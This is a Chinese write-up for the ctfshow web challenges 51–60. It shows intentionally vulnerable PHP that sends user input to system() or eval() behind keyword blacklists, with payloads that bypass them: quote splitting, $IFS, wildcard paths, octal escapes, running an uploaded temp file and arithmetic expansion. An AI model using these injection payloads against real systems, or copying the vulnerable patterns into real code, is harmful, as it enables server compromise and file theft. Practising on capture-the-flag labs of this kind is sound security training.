CTF_show Web 命令执行writeup P3 WEB51-WEB60

CTFSHOW

CTFSHOW web 命令执行WriteUP Part3

WEB51

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:42:52
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

这里把tac也过滤了,有两种方法: 1.使用’‘绕过过滤 2.使用其他指令绕过比如rev,hexdump,vi,nl

1
?c=t%27%27ac<fl%27%27ag.php||

WEB52

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这次flag在根目录,不过把<也过滤了,可以使用$IFS绕过

1
2
/?c=nl$IFS/fla''g||
/?c=ca\t$IFS/fla''g||

WEB53

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
} 

本题可以通过反斜杠和引号绕过e.g.?c=nl${IFS}fl\ag.php ?c=ca\t${IFS}fl\ag.php p.s.一个小知识: 233

WEB54

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

tip:过滤了很多命令。中间这些个很多的星号的内容,其实是说,含有cat,more这样的会被匹配,如cat 那么ca323390ft或c232fa3kdfst,凡是按序出现了cat 都被匹配。这时,我们不能直接写ca?因为这样是匹配不到命令的。只能把全路径写出来,如/bin/ca?,与/bin/ca?匹配的,只有/bin/cat命令,这样就用到了cat命令了。

这里有两种思路,第一种就是通过疏忽没有过滤的指令来进行读取(查上一章的表),第二种是通过一些特殊方法绕过。

我先想出来的第一种:

这里中间加星号的意思就是匹配到例如cxxxxxaxxxt这种字符就过滤掉,这里就不可以出现可以连起来的以上的词,这里我通过hexdump来读取出文件编码,然后通过cyberchef先from hexdump转成原始hex位,再使用Swap endianness进行一次反转,再转换回去就得到了原始的文件。

这里还可以通过/bin/ca?``mv flag.php 1.txt 这种进行绕过,这里不仔细说了。

WEB55

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

这道题考bash无字母命令执行,这题解法挺多的,这里举例两个:

1. 由于过滤了字母,但没有过滤数字,我们尝试使用/bin目录下的可执行程序。

但因为字母不能传入,我们需要使用通配符?来进行代替

?c=/bin/base64 flag.php

替换后payload为:

?c=/???/????64 ????.??? 2. 使用这种Bash的八进制转义序列:$’\154\163’(ls) $’\143\141\164’%20*(cat *)

WEB56

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

这次把0-9和a-z全部过滤了,可以利用post方法强制上传一个文件,由于php接收到post方法上传的文件会保存到/tmp/php******这里,可以构造?c=.%20/???/????????[@-[] 等效执行/tmp/phpxxxxxx 解释:1. linux下.可以用于执行文件 2.[@-[] 匹配字符类,匹配ASCII介于 @ 和 [ 之间的字符(即大写字母)

1
2
3
4
<form action="http://xxx.ctf.show/" method="post" enctype="multipart/form-data">
    <input type="file" name="file" id="file">
    <input type="submit">
</form>

打开上面的网页,随便上传一个文件然后用burp抓包,把文件的内容替换成cat flag.php发包即可,可能一次不成功就多试几次就好了(有可能有小写字符)

WEB57

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: [email protected]
# @link: https://ctfer.com
*/

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

这道题把.给过滤了,上一道题的方法用不了了。

不过给出了提示:flag在36.php中,那么就可以通过一些特殊的方法构造出“36”

通过$(())操作构造出36: $(()) :代表做一次运算,因为里面为空,也表示值为0

$(( ~$(()) )) :对0作取反运算,值为-1

$(( $(($(()))) $(($(()))) )): -1-1,也就是(-1)+(-1)为-2,所以值为-2

$(( $(( $(($(()))) $((~$(()))) )) )) :再对-2做一次取反得到1,所以值为1

我们在$(( $(( )) ))里面放37个$(($(()))),得到-37,取反即可得到36

WEB58-WEB60

1
2
3
4
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}

这里直接给了eval函数,但是测试了一下system函数被禁用了,不过有很多很多方法可以进行绕过

1
2
3
4
5
6
7
var_dump() #打印变量相关信息
print_r()  #打印多个变量的值,可以打印复杂类型变量的值,如array
file_get_contents()
highlight_file()
show_source()        #highlight_file()的别名
readfile()
scandir()  #用于打印目录下的文件

这里给一个例子:

1
2
print_r(scandir('.'));   #打印当前目录文件名字
show_source('flag.php');    #对文件进行语法高亮显示。

从web58-web65都可以使用highlight_file()绕过,这里不多叙述了。

Licensed under CC BY-NC-SA 4.0
最后更新于 Apr 22, 2025 17:53 CST
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计

萌ICP备20249008号 本站支持IPv6访问